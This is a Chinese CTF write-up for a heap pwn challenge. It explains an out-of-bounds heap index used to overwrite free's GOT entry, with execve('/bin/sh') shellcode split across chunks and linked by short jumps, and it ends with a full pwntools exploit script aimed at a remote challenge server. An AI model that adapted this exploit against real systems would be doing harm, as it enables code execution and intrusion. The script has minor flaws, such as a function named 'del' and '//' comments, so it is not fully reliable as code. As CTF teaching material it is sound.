文章目录
前言
目前CTF竞赛中,以堆为背景的pwn题已逐步成为了pwn类型题目中的主流,开始逐步接触堆题,本题涉及到在堆上布置shellcode,并利用堆指针使程序执行流得到控制。
思路分析
0x00.检查保护机制
Canary found:不能用溢出的方式控制程序执行
NX disabled:堆栈上数据可执行
PIE enabled:地址随机化开启
0x01.查看程序功能
一个简单的菜单题,add 和 del可以用,show和edit功能不可用
0x02.ida查看逻辑
获得以下信息:
- 堆块最大为8字节,但是我们只能写入7字节的数据
- 堆指针的下标可以越界
0x03.利用思路
(1)通过堆指针越界,把一些GOT表表项替换成堆指针
(2)因为NX 关闭,堆栈数据可以执行,直接在堆栈上布置shellcode
(3)每个堆块可以写入7个字节的数据,3个字节留作布置jmp short xxx(jmp short占两个字节,对应的机器码是\xeb,xxx对应1字节,且jmp short xxx是相对当前位置寻址),4个字节用于布置shellcode。
(4)要把shellcode分开布置在多个堆块上面。
jmp short xxx 中,xxx=目标地址-当前地址-2
利用过程
0x00.选一段shellcode布置在堆上
mov rdi, xxx //xxx=&("/bin/sh")
xor rsi,rsi //rsi=0,实际可以是mov rsi, 0 但是mov这个命令太长了。下同。占2字节
mov rax, 0x3b //rax=0x3b 占4字节
xor rdx,rdx //rdx=0 占2字节
syscall //就是syscall调用execve("/bin/sh",0,0)
jmp short 占2个字节
jmp short xxx占3个字节
0x01.计算jmp short指令要跳多少字节
从chunk0跳到chunk1,
目标地址-当前地址=8+8+8+1+2=0x1B
xxx=0x1B-2=0x19
即从当前chunk的jmp区跳到下一个chunk的data区,距离是0x19
jmp short 0x19转换成机器码是 \xeb\x19
0x02.shellcode转换为asm格式
asm("xor rsi,rsi")+"\x90\x90\xeb\x19"
asm("mov rax,0x3b")+"\xeb\x19"
asm("xor rdx,rdx")+"\x90\x90\xeb\x19"
asm("syscall").ljust(7,"\x90")
我们无法写出 asm(“mov rdi,&(”/bin/sh")")这样的指令,即不能把"/bin/sh"的地址直接传给rdi
0x03.通过64位传参机制把&("/bin/sh")传到rdi
由0x02知,我们不能直接把"/bin/sh"的地址给rdi
解决办法:
- 申请一个堆块A,把"/bin/sh"写到A上
- 调用free函数,把堆块A的内容(即"/bin/sh"地址)当作free函数的参数,因为第一个参数会传到rdi里面去,这样,rdi=&("/bin/sh")
- 修改free函数的got表,使调用free函数之后的程序流转到我们布置shellcode的堆块上,依次执行shellcode
0x04.计算free的got地址和堆数组静态地址的距离
数组到free的got表的距离:0x2020A0-0x202018=0x88
0x88/8=17字节
即数组下标减17就来到了free的got表地址
0x05. 尝试写exp:
from pwn import *
r=remote("111.198.29.45",48323)
context(log_level='debug',arch='amd64',os='linux')
def add(index,content):
r.recvuntil("your choice>>")
r.sendline("1")
r.recvuntil("index:")
r.sendline(str(index))
r.recvuntil("size:")
r.sendline("8")
r.recvuntil("content:")
r.sendline(content)
def del(index):
r.recvuntil("your choice>>")
r.sendline("4")
r.recvuntil("index:")
r.sendline(str(index))
add(0,"/bin/sh") //申请堆块写入'/bin/sh'
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") //传入&('/bin/sh')并改写got表
add(1,asm("mov eax,0x3b")+"\xeb\x19")
add(2,asm("xor rdx,rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))//系统调用
del(0) //这一步我觉得应该是给syscall传参
r.interactive()